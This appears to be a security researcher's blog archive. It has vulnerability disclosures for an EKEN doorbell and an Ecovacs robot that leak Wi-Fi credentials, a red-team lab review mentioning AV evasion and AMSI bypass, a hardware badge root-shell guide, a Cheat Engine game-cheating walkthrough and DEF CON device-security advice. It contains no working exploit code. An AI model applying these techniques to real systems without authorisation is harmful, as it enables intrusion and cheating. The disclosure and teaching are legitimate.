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CVE-2025-56675 - EKEN video doorbells leaking Wi-Fi credentials through HTTP to cloud servers

Tue, 15 Jul 2025 08:15:00 +0000

CVE-ID:
CVE-2025-56675

[Suggested description]
Video doorbells developed by EKEN group periodically sends debug logs to the EKEN cloud servers. These debug logs contain sensitive information like Wi-Fi SSID and credentials.

Example log: 
[0000000654]{I] fua_video_get_config preview_resolution 0wdr_mode 0 wifi_test_mode 0 
[0000000656][1970-01-01 00:00:00.925268]{D] ########################################### 
[0000000658][1970-01-01 00:00:00.927269]{D] BT60PLUSEKDB_<REDACTED-<REDACTED-<REDACTED-<REDACTED-<REDACTED>
[0000000659][1970-01-01 00:00:00.928104]{D] <SSID<PASSWORD>
[0000000659][1970-01-01 00:00:00.928274]{D] http://api.gdxp.com:8100 https://push.gdxp.com 47.243.113.135:139963 [tcp]47.254.95.196:9007 47.243.228.110:102587 47.107.28.145:17051 
[0000000659][1970-01-01 00:00:00.928436]{D] 9 http://oss-eu-central-1.aliyuncs.com de1-aiwit

[VulnerabilityType Other]

Wi-Fi credentials exposed to cloud servers via clear-text HTTP

[Vendor of Product]

Eken
Product name: Video doorbell
Model: T6
Manufacturer: Topvision (Shenzen) Technology Co., Ltd

[Affected Product Code Base]
Eken Aiwit video doorbells - BT60PLUS_MAIN_V1.0_GC1084_20230531

[Affected Component]
HTTP PUT to de1-aiwit.oss-eu-central-1.aliyuncs.com/device_log/<date/<camera_id

[Attack Type Other]
Attacker listening to clear-text HTTP traffic in the upstream

[Impact Information Disclosure] 
true


[Attack Vectors]
Attacker listening to clear-text HTTP traffic in the upstream

[Discoverer]
Zoltan Balazs

[Reference]
http://api.gdxp.com:8100
http://eken.com
http://oss-eu-central-1.aliyuncs.com
https://push.gdxp.com


Vulnerability timeline: 
2025-04-04: E-mail sent to support-us@eken.com <support-us@eken.com>, no reply received.
2025-04-14: Vulnerability details sent to Mitre via their form.
2025-05-18: E-mail sent to support-us@eken.com <support-us@eken.com>, no reply received.
2025-05-25: E-mail sent to support-us@eken.com <support-us@eken.com>, no reply received.
2025-06-10: Mitre contacted again, asking for the reserved CVE-ID. 
2025-06-20: Mitre notifies me that the device type was incomplete. 
2025-07-02: Mitre contacted, new update provided (device type).
2025-07-15: Vulnerability published on this website.
2025-09-26: Mitre replies with the reserved CVE-ID CVE-2025-56675. 
2025-09-29: This post has been updated with the CVE-ID CVE-2025-56675.

CVE-2025-44251 - Ecovacs Deebot T10 exposing Wi-Fi credentials during pairing

Wed, 09 Jul 2025 15:15:00 +0000

CVE-ID:

CVE-2025-44251

Vendor of Product:

Ecovacs

Affected Product Code Base:

Deebot T10 - 1.7.2

Affected Component:

Ecovacs iOS app 3.0

Attack Type:

Local

Impact:

Information Disclosure

Attack Vectors:

Nearby attackers listening to open Wi-Fi channels can extract the user’s Wi-Fi credentials during the pairing process between the Ecovacs Deebot T10 and the mobile app.

Has vendor confirmed or acknowledged the vulnerability?

yes

Suggested description:

During the pairing process, the Ecovacs Deebot T10 creates an open Wi-Fi network, and the mobile app instructs the user to connect to this open, unencrypted Wi-Fi network. Once connected, the mobile app sends the user’s home Wi-Fi network password to the Ecovacs Deebot T10 through cleartext HTTP protocol over the cleartext open Wi-Fi network using the endpoint /rcp.do via POST request.

Personal VPN services are snake-oil

Fri, 01 Mar 2024 10:19:41 +0000

Intro

Personal VPN services are a multi-million dollar business. But is it worth your money?

If they can afford to sponsor Pewdiepie, they should do something right, right? Fifty million flies can’t be wrong!

This is going to be a complex topic, so bear with me.

The statement I would like to prove:
There are only a few problems for a few people worldwide where the answer is using a personal VPN service. You don’t need a personal VPN service if you are an average Internet user. If you are a tech-savvy user, you can do much better than using a VPN.
Personal VPNs are the homeopathic medicines of the tech industry. Also known as a scam.

"Just" migrate to Jekyll ...

Wed, 05 Apr 2023 10:49:41 +0000

Intro

As I already ranted about it, I am not very satisfied with multiple Google services recently (blogger, YouTube), so I started looking for alternative solutions for my blog. Based on a quick Twitter poll, all the cool kids use Jekyll and Github pages nowadays, and I did not want to miss out …
Had I known how much time I had to spend on this blog migration, I probably would not start it in the first place …

So Long Google, and Thanks for All the Fish

Fri, 16 Sep 2022 15:39:00 +0200

Thx, Google and YouTube. I got what I paid for …

I joined Gmail at the end of 2005. It was not invite-only anymore but still restricted in some countries. It was a novel service compared to my previous one, freemail.hu … if you live in Hungary, you know … Anyway, I am still using Gmail as my primary email after 17 years, and I still have not run out of storage. Even though I am paying money for an encrypted email service, searching in that one is pretty bulky, so I only use that one for online shopping, healthcare, and other sensitive topics where I don’t want Google to know everything. I uploaded my first hacking-related YouTube video in 2012. I wrote my first blog post on Blogger/Blogspot in 2013, when my friend invited me to write some new hacking-related content on his blog. As you can see, I was a happy Google user … until I was not.

My WHCD experience

Thu, 10 Sep 2020 15:53:14 +0200

Introduction

My story starts in July in Budapest, summer is hot. Way too hot. I am working in the cozy air-conditioned office room and look at my daily schedule. I have a business lunch with Sándor Fehér, co-founder & CEO at White Hat IT Security at an Italian restaurant. This will be a casual meeting, catching up with each other, no preparation needed. I show up at the place, meet Sándor, order a pizza, and we discuss average lunch topics like how APT attackers operate nowadays. He mentions that in September they will organize the exam for their WHCD - White Hat Certified Defender course. And he is happy to provide me a slot for the exam for free. But as nothing is free in life. If I pass - and why would not I? :) - I create a blog post about my view on the exam. I happily accept the invitation and finish the pizza.

The RastaLabs experience

Thu, 16 Jan 2020 15:23:43 +0000

Introduction

It was 20 November, and I was just starting to wonder what I would do during the next month. I had already left my previous job, and the new one would only start in January. Playing with PS4 all month might sound fun for some people, but I knew I would get bored quickly.

Even though I have some limited red teaming experience, I always felt that I wanted to explore the excitement of getting Domain Admin – again. I got my first DA in ˜2010 using pass-the-hash, but that was a loooong time ago, and things change quickly.

While reading the backlogs of one of the many Slack rooms, I noticed that certain chat rooms were praising RastaLabs. Looking at the lab description, I felt "this is it, this is exactly what I need." How hard could it be, I have a whole month ahead of me, surely I will finish it before Christmas. Boy, was I wrong.

The one-time fee of starting the lab is 90 GBP which includes the first month, then every additional month costs 20 GBP. I felt like I was stealing money from Rastamouse and Hackthebox... How can it be so cheap? Sometimes cheap indicates low quality, but not in this case.

My experience

Regarding my previous experience, I already took OSCP, OSCE, SLAE (Securitytube Linux Assembly Expert), and PSP (Powershell for Pentesters), all of which helped me a lot during the lab. I also had some limited red teaming experience. I had more-than-average experience with AV evasion, and I already had experience with the new post-exploit frameworks like Covenant and Powershell Empire. As for writing exploits, I knew how a buffer overflow or a format string attack worked, but I lacked practice in bypassing ASLR and NX. I basically had zero experience with Mimikatz on Windows 10. I used Mimikatz back in 2012, but probably not since. I also had a lot of knowledge on how to do X and Y, on useful tools and hot techniques, but I lacked recent experience with them. Finally, I am usually the last when it comes to speed in hacking, but I have always balanced my lack of speed with perseverance.

RastaLabs starts in 3,2,1 ...

So I paid the initial entry fee, got the VPN connection pack, connected to the lab, and got my first flag after ... 4 days. And there were 17 of them in total. This was the first time I started to worry. I did everything to keep myself on the wrong track, stupid things like assuming incorrect lab network addresses, scanning too few machines, finding the incorrect breadcrumbs via OSINT, trying to exploit a patched web service (as most OSCPers would do), etc. I was also continually struggling with the tools I was using, as I never knew whether they were buggy, or I was misusing them, or this is just not the way to get the flag. I am sure someone with luck and experience could have done this stage in 2-3 hours, but hey, I was there to gain experience.

During the lab, whenever I got stuck with the same problem for more than 30-40 hours and my frustration was running high, I pinged Rastamouse on the official RastaLabs support channel on https://mm.netsecfocus.com/. I usually approached him like "Hi, I tried X, Y, and Z but no luck", then he replied "yeah, try Y harder". This kind of information was usually all I needed, and 2-3 hours later I was back on track again. His help was always enough, but never too much to spoil the fun. The availability and professionalism of Rastamouse was 10/10. Huge multi-billion dollar companies fail to provide good enough support, this one guy here was always there to help. Amazing. I highly recommend joining the Mattermost channel – it will help you a lot to see that you are not the only one stuck with problems. But please do not DM him or the channel if you have not already tried harder.

What's really lovely in the lab is that you can expect real-world scenarios with "RastaLabs employees" working on their computer, reading emails, browsing the web, etc. I believe it is not a spoiler here that at some point in time you have to deliver malware that evades the MS Defender AV on the machine. Yes, there is a real working Defender on the machines, and although it is a bit out of date, it might catch your default payload very quickly. As I previously mentioned, luckily I had recent experience with AV evasion, so this part was not new to me. I highly recommend setting up your own Win10 with the latest Defender updates and testing your payload on it first. If it works there, it will work in the lab. This part can be especially frustrating, because the only feedback you get from the lab is that nothing is happening, and there is no way to debug it. Test your solution locally first.

Powershell Empire turned out to be an excellent solution for me, the only functionality it lacked was Port Forwarding. But you can drop other tools to do this job efficiently.

A little help: even if you manage to deliver your payload and you have a working C&C, it does not mean your task with AV evasion is over. It is highly probable that Defender will block your post-exploit codes. To bypass this, read all the blog posts from Rastamouse about AMSI bypass. This is important.

Lateral movement

When you finally get your first shell back ...

A whole new world starts. From now on, you will spend significant time on password cracking, lateral movement, persistence, and figuring out how Windows AD works.

In the past, I played a lot of CTF, and from time to time I got the feeling "yeah, even though this challenge was fun, it was not realistic". This never happened during RastaLabs. All the challenges and solutions were 100% realistic, and as the "Ars poetica" of RastaLabs states:

...which is sooooo true. None of the tasks involve any exploit of any CVE. You need a different mindset for this lab. You need to think about misconfigurations, crackable passwords, privilege abuse, and similar issues. But I believe this lab is still harder to own than 90% of the organizations out there. The only help is that there are no blue-teamers killing our shells.

About the architecture of the lab: When connecting to the lab with VPN, you basically found yourself in a network you might label as "Internet", with your target network being behind a firewall, just as a proper corporate network should be.

There are a bunch of workstations – Win10 only, and some servers like fileserver, exchange, DC, SQL server, etc. The majority of servers are Windows Server 2016, and there is one Linux server. The two sites are adequately separated and firewalled.

As time passed, I was getting more and more flags, and I started to feel the power. Then the rollercoaster experience started. I was useless, I knew nothing. Getting the flag, I was god. One hour later, I was useless.

For example, I spent a significant amount of time trying to get GUI access to the workstations. In the end, I managed to get that, just to find out I did not achieve anything with it. For unknown reasons, none of the frameworks I tried had a working VNC, so I set up my own, and it was pain.

On December 18, I finally got Domain Admin privileges. So my estimation to "finish the lab" in one month was not that far off. Except that I was far from finishing it, as I still had to find five other flags I was missing. You might ask "you already have DA, how hard could it be to find the remaining five?". Spoiler alert, it was hard. Or to be more precise, not hard, just challenging, and time-consuming. This was also a time when connections on Mattermost RastaLabs channel helped me a lot. Hints like "flag X is on machine Y" helped me keep motivated, yet it did not spoil the fun. Without hints like this, I would not have written this post but would have been stuck with multiple flags.

About exploitation

And there was the infamous challenge, "ROP the night away." This was totally different from the other 16. I believe this image explains it all:

If you are not friends with GDB, well, you will have a hard time. If you don't have lots of hands-on experience with NX bypass - a.k.a ROP - like me, you will have a hard time with this challenge. The binary exploit challenges during OSCP and OSCE exams are nowhere near as complex as this one. If you have OSEE, you will be fine. For this challenge, I used GDB-Peda and Python pwntools – check them out in case you are not familiar with them. For me, solving this challenge took about 40 hours. Experienced CTF people could probably solve it in 4 hours or less.

Conclusion

I would not recommend taking this lab for total beginners *. I also do not recommend doing the lab if you only have limited time per day, which is especially true if you are working on your home computer. I probably would have saved hours or even days if I had set up a dedicated server in the cloud for this lab. The issue was that the lab workstations were rebooted every day, which meant that I always lost my shells. "Persistence FTW", you might say, but if your C&C is down when the workstation reboots, you are screwed. "Scheduled tasks FTW", you might say, but unless you have a strict schedule on when you start your computer, you will end up with a bunch of scheduled tasks just to get back the shell whenever you start your computer. Day after day I spent the first hour getting back to where I had been the day before. And I just figured out at the end of the lab why some of my scheduled tasks were not working ...

I would be really interested to see how much time I spent connected to the lab. Probably it was around 200–250 hours in total, which I believe is more than I spent on OSCP and OSCE combined. But it was totally worth it. I really feel the power now that I learned so many useful things.

But if you consider that the price of the one-month lab is 20 GBP, it is still a very cheap option to practice your skills.

* It is totally OK to do the lab in 6 months, in case you start as a beginner. That is still just 190 GBP for the months of lab access, and you will gain a lot of experience during this time. You will probably have a hard time reaching the point when you have a working shell, but it is OK. You can find every information on Google, you just need time, patience and willingness to get there.

Anyway, it is still an option not to aim to "get all the flags". Even just by getting the first two flags, you will gain significant experience in "getting a foothold". But for me, not getting all the flags was never an option.

If you are still unconvinced, check these other blog posts:

https://jmpesp.me/a-rastalabs-story/

https://www.gerrenmurphy.com/rastalabs-review/

Or see what others wrote about RastaLabs.

Footnote

In case you start the lab, please, pretty please, follow the rules, and do not spoil the fun for others. Do not leave your tools around, do not keep shared drives open, do not leave FLAGs around. Leave the machine as it was. If you have to upload a file, put it in a folder others won't easily find. This is a necessary mindset when it comes to real-world red teaming. Don't forget to drop a party parrot into the chat whenever you or someone else gets a new flag. And don't forget:

OSCP has no power here. Cry harder!

I will probably keep my subscription to the lab and try new things, new post-exploit frameworks. I would like to thank @_rastamouse for this great experience, @superkojiman for the ROP challenge. Hackthebox for hosting the lab with excellent uptime.

As for @gentilkiwi and @harmj0y, these two guys probably advanced red-teaming more than everyone else combined together. pwntools from @gallopsled was also really helpful. And I will be forever grateful to Bradley from finance for his continuous support whenever I lost my shells.

Hacktivity 2018 badge - quick start guide for beginners

Thu, 19 Sep 2019 15:57:50 +0000

You either landed on this blog post because

you are a huge fan of Hacktivity
you bought this badge around a year ago
you are just interested in hacker conference badge hacking.

or maybe all of the above. Whatever the reasons, this guide should be helpful for those who never had any real-life experience with these little gadgets.

But first things first, here is a list what you need for hacking the badge:

a computer with USB port and macOS, Linux or Windows. You can use other OS as well, but this guide covers these
USB mini cable to connect the badge to the computer
the Hacktivity badge from 2018

By default, this is how your badge looks like.

Let's get started

Luckily, you don't need any soldering skills for the first steps. Just connect the USB mini port to the bottom left connector on the badge, connect the other part of the USB cable to your computer, and within some seconds you will be able to see that the lights on your badge are blinking. So far so good. Now, depending on which OS you use, you should choose your destiny here.

Linux

The best source of information about a new device being connected is # dmesg The tail of the output should look like

[267300.206966] usb 2-2.2: new full-speed USB device number 14 using uhci_hcd
[267300.326484] usb 2-2.2: New USB device found, idVendor=0403, idProduct=6001
[267300.326486] usb 2-2.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[267300.326487] usb 2-2.2: Product: FT232R USB UART
[267300.326488] usb 2-2.2: Manufacturer: FTDI
[267300.326489] usb 2-2.2: SerialNumber: AC01U4XN
[267300.558684] usbcore: registered new interface driver usbserial_generic
[267300.558692] usbserial: USB Serial support registered for generic
[267300.639673] usbcore: registered new interface driver ftdi_sio
[267300.639684] usbserial: USB Serial support registered for FTDI USB Serial Device
[267300.639713] ftdi_sio 2-2.2:1.0: FTDI USB Serial Device converter detected
[267300.639741] usb 2-2.2: Detected FT232RL
[267300.643235] usb 2-2.2: FTDI USB Serial Device converter now attached to ttyUSB0

Dmesg is pretty kind to us, as it even notifies us that the device is now attached to ttyUSB0. From now on, connecting to the device is exactly the same as it is in the macOS section, so please find the "Linux users, read it from here" section below.

macOS

There are multiple commands you can type into Terminal to get an idea about what you are looking at. One command is:

# ioreg -p IOUSB -w0 -l

With this command, you should get output similar to this:

+-o FT232R USB UART@14100000  <class AppleUSBDevice, id 0x100005465, registered, matched, active, busy 0 (712 ms), retain 20>
    |   {
    |     "sessionID" = 71217335583342
    |     "iManufacturer" = 1
    |     "bNumConfigurations" = 1
    |     "idProduct" = 24577
    |     "bcdDevice" = 1536
    |     "Bus Power Available" = 250
    |     "USB Address" = 2
    |     "bMaxPacketSize0" = 8
    |     "iProduct" = 2
    |     "iSerialNumber" = 3
    |     "bDeviceClass" = 0
    |     "Built-In" = No
    |     "locationID" = 336592896
    |     "bDeviceSubClass" = 0
    |     "bcdUSB" = 512
    |     "USB Product Name" = "FT232R USB UART"
    |     "PortNum" = 1
    |     "non-removable" = "no"
    |     "IOCFPlugInTypes" = {"9dc7b780-9ec0-11d4-a54f-000a27052861"="IOUSBFamily.kext/Contents/PlugIns/IOUSBLib.bundle"}
    |     "bDeviceProtocol" = 0
    |     "IOUserClientClass" = "IOUSBDeviceUserClientV2"
    |     "IOPowerManagement" = {"DevicePowerState"=0,"CurrentPowerState"=3,"CapabilityFlags"=65536,"MaxPowerState"=4,"DriverPowerState"=3}
    |     "kUSBCurrentConfiguration" = 1
    |     "Device Speed" = 1
    |     "USB Vendor Name" = "FTDI"
    |     "idVendor" = 1027
    |     "IOGeneralInterest" = "IOCommand is not serializable"
    |     "USB Serial Number" = "AC01U4XN"
    |     "IOClassNameOverride" = "IOUSBDevice"
    |   }

The most important information you get is the USB serial number - AC01U4XN in my case.
Another way to get this information is

# system_profiler SPUSBDataType

which will give back something similar to:

FT232R USB UART:

          Product ID: 0x6001
          Vendor ID: 0x0403  (Future Technology Devices International Limited)
          Version: 6.00
          Serial Number: AC01U4XN
          Speed: Up to 12 Mb/sec
          Manufacturer: FTDI
          Location ID: 0x14100000 / 2
          Current Available (mA): 500
          Current Required (mA): 90
          Extra Operating Current (mA): 0

The serial number you got is the same.

What you are trying to achieve here is to connect to the device, but in order to connect to it, you have to know where the device in the /dev folder is mapped to. A quick and dirty solution is to list all devices under /dev when the device is disconnected, once when it is connected, and diff the outputs. For example, the following should do the job:

ls -lha /dev/tty* > plugged.txt
ls -lha /dev/tty* > np.txt
vimdiff plugged.txt np.txt

The result should be obvious, /dev/tty.usbserial-AC01U4XN is the new device in case macOS. In the case of Linux, it was /dev/ttyUSB0.

Linux users, read it from here. macOS users, please continue reading

Now you can use either the built-in screen command or minicom to get data out from the badge. Usually, you need three information in order to communicate with a badge. Path on /dev (you already got that), speed in baud, and the async config parameters. Either you can guess the speed or you can Google that for the specific device. Standard baud rates include 110, 300, 600, 1200, 2400, 4800, 9600, 14400, 19200, 38400, 57600, 115200, 128000 and 256000 bits per second. I usually found 1200, 9600 and 115200 a common choice, but that is just me.
Regarding the async config parameters, the default is that 8 bits are used, there is no parity bit, and 1 stop bit is used. The short abbreviation for this is 8n1. In the next example, you will use the screen command. By default, it uses 8n1, but it is called cs8 to confuse the beginners.

If you type:
# screen /dev/tty.usbserial-AC01U4XN 9600
or
# screen /dev/ttyUSB0 9600
and wait for minutes and nothing happens, it is because the badge already tried to communicate via the USB port, but no-one was listening there. Disconnect the badge from the computer, connect again, and type the screen command above to connect. If you are quick enough you can see that the amber LED will stop blinking and your screen command is greeted with some interesting information. By quick enough I mean ˜90 seconds, as it takes the device 1.5 minutes to boot the OS and the CTF app.

Windows

When you connect the device to Windows, you will be greeted with a pop-up.

Just click on the popup and you will see the COM port number the device is connected to:

In this case, it is connected to COM3. So let's fire up our favorite putty.exe, select Serial, choose COM3, add speed 9600, and you are ready to go!

You might check the end of the macOS section in case you can't see anything. Timing is everything.

The CTF

Welcome to the Hacktivity 2018 badge challenge!

This challenge consists of several tasks with one or more levels of
difficulty. They are all connected in some way or another to HW RE
and there's no competition, the whole purpose is to learn things.

Note: we recommend turning on local echo in your terminal!
Also, feel free to ask for hints at the Hackcenter!

Choose your destiny below:

 1. Visual HW debugging
 2. Reverse engineering
 3. RF hacking
 4. Crypto protection

Enter the number of the challenge you're interested in and press [

Excellent, now you are ready to hack this! In case you are lost in controlling the screen command, go to https://linuxize.com/post/how-to-use-linux-screen/.

I will not spoil any fun in giving out the challenge solutions here. It is still your task to find solutions for these.

But here is a catch. You can get a root shell on the device. And it is pretty straightforward. Just carefully remove the Omega shield from the badge. Now you see two jumpers; by default, these are connected together as UART1. As seen below.

But what happens if you move these jumpers to UART0? Guess what, you can get a root shell! This is what I call privilege escalation on the HW level :) But first, let's connect the Omega shield back. Also, for added fun, this new interface speaks on 115200 baud, so you should change your screen parameters to 115200. Also, the new interface has a different ID under /dev, but I am sure you can figure this out from now on.

If you connect to the device during boot time, you can see a lot of exciting debug information about the device. And after it boots, you just get a root prompt. Woohoo!

But what can you do with this root access? Well, for starters, how about running

# strings hello | less

From now on, you are on your own to hack this badge. Happy hacking.

Big thanks to Attila Marosi-Bauer and Hackerspace Budapest for developing this badge and the contests.

PS: In case you want to use the radio functionality of the badge, see below how you should solder the parts to it. By default, you can process slow speed radio frequency signals on GPIO19. But for higher transfer speeds, you should wire the RF module DATA OUT pin with the RX1 free together.

Hacking freemium games - the evolution of PC game cheating

Mon, 14 Jan 2019 13:45:26 +0000

This post is going to be a rather strange post compared to previous ones. But bear with me, in the middle of the post you will see why this post fits the IT security topic.

I'm also terribly sorry for not posting recently, but I was busy with my SPSE and SLAE certification. Both are recommended for Python and Assembly noobs like me. But back to this post.

A little bit of history

Cheating in games started as help for game testers. By using invincibility or infinite ammo testers were able to test the game quicker, which meant less money spent on testing. I personally use cheat codes in games, depending on my mood. Sometimes it feels good to slash all the opponents while I'm invincible, sometimes it is more fun to play the game without cheats. One can argue whether cheating in games is OK or not, but I believe it depends, there is no black or white. But one thing is for sure, it is part of the gaming industry. There is huge demand for cheats. There were even cheat books printed on paper...

The different types of cheats (on PC)

There are different types of cheats in PC gaming. Following is a noncomplete list of these cheats:

Cheat codes

The good old IDDQD type of cheats. These are left in the game by the developers intentionally. Nothing interesting here.

Edit memory

This is my favorite. I will talk about this at the end of the post. Whenever a user launches a new program, the program's whole memory is accessible (read/write) to every other program launched by the user. And since the memory stores the current game state (health, ammo, armor, etc.), these values can be changed easily. In the good old times, there were POKE commands to do this cheats, and the memory address to write into was published by people who found where the game stores the most critical states about the game.

Code injection

This is like patching the game code. For example, one can change the "DEC (pointer to your current health)" instruction with NOP (do nothing), thus becoming invincible. In multi-player cheats, there is the aimbot to help you aim at enemies, wallhack to see through the wall, increase hitbox of the enemy for smoother hit, or in MMORPGs, one can write macros to collect items while the player is not online. I would say the so-called "trainers" more or less fit into this category and the previous one.

Saved game editor

The first time a kid meets a hex-editor (just like the co-author of this blog did with SIM City when he was 10 years old - David). It can teach a lot about file structures, the hexadecimal numeral system, etc. Fun times.

Hacking game server

Not very common, but even more fun. Warning: endless trolling possibilities in multi-player games ahead :) How to hack a game server? Well, I think this might deserve another full blog post ...

Network traffic hacking

One last necessary type of cheating is to modify network traffic between the client and the game server. AFAIK SSL is not universal in gaming, so stunnel is not needed for this hack, but ettercap can help in changing the communication.

Why cheating becomes more critical (and challenging)?

Now in the age of in-app-payments, the game creators are no longer thinking about cheats as funny things but something to be destroyed to the ground. Because cheating decreases its revenue. Or not. At least they think it does. To quote Wikipedia here, "cheating in such games is nonetheless a legal grey area because there are no laws against modifying software which is already owned, as detailed in the Digital Millennium Copyright Act."

A lot of online games include anti-cheating components like PunkBuster, nProtect GameGuard, or Valve Anti-Cheat. This whole cheating/anti-cheating industry is the same as the virus/anti-virus industry. A cat and mouse game.

Freemium games

If you have not played with "freemium" games, you should watch South Park season 18, episode 6. - "Freemium Isn't Free." If you did play with freemium games, you definitely have to watch it :) There are many problems with freemium games. It is free to install, free to play. The first 3-4 hours might be fun to play. But after that, it turns out it is impossible to advance in the game without paying money for it. And by spending cash, I mean spending a LOT! Let's have a look at today's example, an arcade racing video game.

For 99.99 USD, you can get 3 000 000 credit. For almost double the price of a new PC game, you can get these credits. In this particular game, I estimate one have to play ~6-24 hours constantly to get this amount of credit. But by playing ~6 hours, I mean 6 hours without progress in the game! Kind of boring. And what do you get from 3 000 000 credit? You can buy one of the most expensive cars, but can't tune them fully. You have to play more (without progress) or buy more. But guess what, there are more cars you can't buy by only playing the game. Those are only available via in-app-purchase.

Even though the player has 58 765 533 credits, it is not possible to buy this car. Only available through real money.

So, what are your possibilities? You are either Richie Rich, and can afford the money to buy these. Or you can be insane, and try to play the game without in-app-purchase. Or give up the game and try another freemium ... Or, you can try to hack the game!

Hack all the freemium games!

Although I was not playing this racing game from day one, I was able to witness the evolution of the cheats against this game. The cheats which worked in one day was not working one month later. The game is continuously updated to defeat the newly published cheats.

Noob start

So, I want to hack this game, what is the first thing a noob like me does? ~~Bing it!~~ Google it!

From the first page result, let's check this tool:

While trying to download that, I just have to give my email address to spammers, or my mobile number will be subscribed to premium rate text messages. What fun.

Another "cheat" program will install malware/adware on your computer. Never ever try these programs. They are fake 99% of the time and after installing those you will have another problem, not just how to hack freemium games.

Beginners start - Cheat engine

When I first heard about hacking games in memory, I visualized hours of OllyDBG/ImmunityDBG/(insert your favorite Windows debugger here). It turned out, there are some specialized tools to help you with cheating the game. No assembly knowledge required. My favourite tool is CheatEngine. I highly recommend to download it and spend 10 minutes to get past the built-in tutorial levels to get a feeling about this tool. It's super duper awesome.

When I first tried to hack this game myself, I scanned the memory for my actual credit and tried to change that, no luck. Keep reading, you will see what happened.

The second cheat I tried with cheat engine was something like this:

Start the game, play the first level, and check how many credits is paid for winning the race. Pro tip: use dual display for full-screen game cheating.
Restart the same level, attach Cheat Engine to the game's process
Scan the memory for the same value at the beginning of the race
Scan the memory for the same value at the end of the game. The intersect of the first and second scan includes the real value where the credit is stored for winning the race.
Change the values (both the real one and some false positives) to something big
Watch the game to crash
Be amazed at the money you received

Nowadays, most of the cheats on YouTube does not work. Except for these kind of cheats. I don't want to recreate that tutorial, so you should watch it first then come back.

Are you back? Great. Do you have any idea what have you just seen? No? Well, in this case, don't try this at home. Copy-pasting assembly code from random internet posts and running on your computer is always a bad idea. It is precisely as risky as downloading free programs from random internet sites.

Although I have not seen people trolling others with this cheat engine type of shellcode, I think the time will come when these will be turned into something terrible. These shellcodes might work, or might harm your computer. The good news is, we can have a look at the code and analyze it.

When you open CheatEngine and try to define a new custom type, you are greeted with a skeleton assembly code. I don't want to detail what all the skeleton code does, let's just focus on the difference between the skeleton code and the code used in the video. This is the "decrypt function":

xor eax, 0baadf00d
rol eax, 0e

What does it mean? The actual credit is encrypted in memory. If you want to scan it in memory, you won't be able to find it. But! The encryption is rotating the value to the right (ROR) with 0xE (14 in decimal), and after that, it is XOR-ed with 0xbaadf00d. Decrypting it is the inverse of the functions in reverse order (in this particular case, the order does not matter, but that's not the point). The inverse function of XOR is XOR, and the inverse function of ROR (rotate right) is ROL (rotate left). Now that we analyzed the assembly code, we can be sure that it is safe to execute. Just follow the video and see your coins falling from the sky. For free. In a freemium game. Have fun!

Encrypt memory - applications at financial institutions

Another exciting thing is that I don't recall any thick client applications in the financial industry encrypting the values in memory. And I agree, there are more significant problems with thick client applications than not encrypting the essential values in memory. But still, some thick client applications are regularly updated, maintained. Maybe it is a good idea to encrypt the values in memory. It will make attackers' life harder. Not impossible, but harder. Perhaps the developers of these applications should learn from the gaming industry (or from malware developers for that matter) because it is a shame that an arcade racing game or an FPS is protected better than an application responsible for transacting millions of dollars. Just think about the RAM scraping malware stealing millions of credit card data ...

Moral of the story

Cheating is part of the gaming history, and the freemium games are trying to take away the cheats from the gamers because they want money. Thanks to CheatEngine and some clever hacks, these programs can be still beaten. And guess what, there is CheatEngine for Android - although it did not work for me on the latest Android. And sometimes, hacking all kinds of applications can be more comfortable with CheatEngine, compared to traditional debuggers.

Also, always check the code before executing it! And when you find something cool, publish it, so everyone could enjoy the games!

How to build a "burner device" for DEF CON in one easy step

Wed, 15 Aug 2018 13:31:11 +0000

TL;DR: Don't build a burner device. Probably this is not the risk you are looking for.

Introduction

Every year before DEF CON people starts to give advice to attendees to bring "burner devices" to DEF CON. Some people also start to create long lists on how to build burner devices, especially laptops. But the deeper we look into the topic, the more confusing it gets. Why are we doing this? Why are we recommending this? Are we focusing on the right things?

What is a "burner device" used for?

For starters, the whole "burner device" concept is totally misunderstood, even within the ITSEC community. A "burner device" is used for non-attribution. You know, for example, you are a spy and you don't want the country where you live to know that you are communicating with someone else. I believe this is not the situation for most attendees at DEF CON. More info about the meaning of "burner" https://twitter.com/Viss/status/877400669669306369

Burner phone means it has a throwaway SIM card with a throwaway phone, used for one specific operation only. You don't use the "burner device" to log in to your e-mail account or to VPN to your work or home.

But let's forget this word misuse issue for a moment, and focus on the real problem.

The bad advice

The Internet is full of articles focusing on the wrong things, especially when it comes to "burner devices". Like how to build a burner laptop, without explaining why you need it or how to use it.

The problem with this approach is that people end up "burning" (lame wordplay, sorry) significant resources for building a secure "burner device". But people are not educated about how they should use these devices.

The threats

I believe the followings are some real threats which are higher when you travel:

1. The laptop getting lost or stolen.

2. The laptop getting inspected/copied at the border.

These two risks have nothing to do with DEF CON, this is true for every travel.

Some other risks which are usually mentioned when it comes to "burner devices" and DEF CON:

3. Device getting owned via physical access while in a hotel room.

4. Network traffic Man-in-the-middle attacked. Your password displayed on a Wall of Sheep. Or having fun with Shellshock with DHCP. Information leak of NTLM hashes or similar.

5. Pwning the device via some nasty things like WiFi/TCP/Bluetooth/LTE/3G/GSM stack. These are unicorn attacks.

6. Pwning your device by pwning a service on your device. Like leaving your upload.php file in the root folder you use at CTFs and Nginx is set to autostart. The author of this article cannot comment on this incident whether it happened in real life or is just an imaginary example.

How to mitigate these risks?

Laptop getting stolen/lost/inspected at the border?

1. Bring a cheap, empty device with you. Or set up a fake OS/fake account to log in if you really need your day-to-day laptop. This dummy account should not decrypt the real files in the real account.

Device getting owned while in a hotel room with physical access

1. Don't bring any device with you.

2. If you bring any, make it tamper-resistant. How to do that depends on your enemy, but you can start by using nail glitter and Full Disk Encryption. Tools like Do Not Disturb help. It also helps if your OS supports suspending DMA devices before the user logs in.

3. If you can't make the device tamper-resistant, use a device that has a good defense against physical attackers, like iOS.

4. Probably you are not that important anyway that anyone will spend time and resources on you. If they do, probably you will only make your life miserable with all the hardening, but still, get pwned.

Network traffic Man-in-the-middle attacked

1. Don't bring any device with you.

2. Use services that are protected against MiTM. Like TLS.

3. Update your OS to the latest and greatest versions. Not everyone at DEF CON has a 0dayz worth of 100K USD, and even the ones who have won't waste it on you.

4. Use fail-safe VPN. Unfortunately, not many people talk about this or have proper solutions for the most popular operating systems.

5. For specific attacks like Responder, disable LLMNR, NBT-NS, WPAD, and IPv6 and use a non-work account on the machine. If you don't have the privileges to do so on your machine, you probably should not bring this device with you. Or ask your local IT to disable these services and set up a new account for you.

Pwning the device via some nasty thing like WiFi/TCP/Bluetooth/LTE/3G/GSM stack

1. Don't bring any device with you.

2. If you bring any, do not use this device to log in to work, personal email, social media, etc.

3. Don't worry, these things don't happen very often.

